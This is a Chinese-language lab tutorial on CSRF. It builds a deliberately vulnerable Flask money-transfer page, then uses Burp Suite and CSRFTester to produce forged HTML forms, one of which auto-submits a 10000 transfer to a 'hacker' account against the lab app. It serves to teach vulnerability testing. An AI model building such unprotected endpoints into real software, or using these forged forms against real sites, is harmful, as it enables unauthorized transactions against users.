一、Python編寫一個存在CSRF漏洞
① 編寫html網頁
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>轉賬</title> </head> <body> <h1>轉賬</h1> <form action="/transfer" method="post"> <label for="amount">金額:</label> <input type="text" name="amount" required> <br> <label for="recipient">接收者:</label> <input type="text" name="recipient" required> <br> <input type="submit" value="提交"> </form> </body> </html>
② 編寫網頁請求介面程式碼
from flask import Flask, request, render_template app = Flask(__name__, template_folder='template') @app.route('/') def index(): return render_template('transfer.html') @app.route('/transfer', methods=['GET', 'POST']) def transfer(): if request.method == 'POST': amount = request.form['amount'] recipient = request.form['recipient'] # 執行轉賬操作,將指定金額從當前使用者轉移到指定的接收者賬戶 return f"成功轉賬 {amount} 給 {recipient}" return render_template(r'transfer.html') if __name__ == '__main__': app.run(host='10.162.95.61')
③ 執行程式碼
④ 測試網頁功能是否正常
輸入轉賬進入,接收轉賬人員,點選
這個示例程式碼存在一個CSRF漏洞。攻擊者可以透過構造惡意的HTML表單或JavaScript程式碼,誘導使用者點選連結或提交表單,從而在使用者不知情的情況下執行轉賬操作。由於沒有適當的CSRF防護措施,攻擊者可以利用這個漏洞進行非法的轉賬操作
二、BurpSuite抓取/攔截轉賬請求
我們的目標是測試這個轉賬功能是否存在CSRF漏洞。
(1)執行上面例子的Python程式碼並訪問主頁
(2)輸入轉賬金額和接收人點選提交,BurpSuite會抓取或攔截轉賬請求。
抓包找到該介面-右鍵-相關工具-生成對應POC
複製html本地儲存生成的POC檔案,檔案格式XXX.html
生成的惡意HTML頁面如下所示:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://10.162.95.61:5000/transfer" method="POST"> <input type="hidden" name="amount" value="10000" /> <input type="hidden" name="recipient" value="test" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
將接收轉賬的賬號修改成自己的賬號,如hacker
訪問這個惡意的網頁點選惡意網頁中的“Submit request”按鈕
如果受害者點選了頁面上的“Submit request”按鈕,瀏覽器會傳送轉賬請求到目標網站修改密碼頁面,導致向"hacker"賬號轉賬了10000元,這表明存在CSRF漏洞。
三、CSRFTester自動化探測工具
CSRFTester 工具的測試原理大概是這樣的, 使用代理抓取我們在瀏覽器中訪問過的所有的連線以及 所有的表單等資訊,透過在 CSRFTester 中修改相應的表單等資訊,重新提交 ,相當於一次偽造客戶端請 求,如果修改過的測試請求,成功被網站伺服器接受,則說明存在 CSRF 漏洞,當然此款工具也可以被用 來進行 CSRF 攻擊。
步驟如下
(1)、設定瀏覽器代理:127.0.0.1:8008
( 2)、登入 Web 應用程式,提交表單,在 CSRF 工具中修改表單內容,檢視是否更改,如果更改表 單存在 CSRF 漏洞。
( 3)、生產 POC 程式碼。
備註:工具預設代理127.0.0.1:8008,瀏覽器代理外掛設定對應的埠即可
生成 html 檔案
表單內容僅保留方框中我們提交的資訊,其他內容一律刪除,然後儲存退出
<form method="POST" name="form2" action="http://10.162.95.61:5000/transfer"> <input type="hidden" name="amount" value="10000"/> <input type="hidden" name="recipient" value="hacker1111"/> </form>
執行生成的html檔案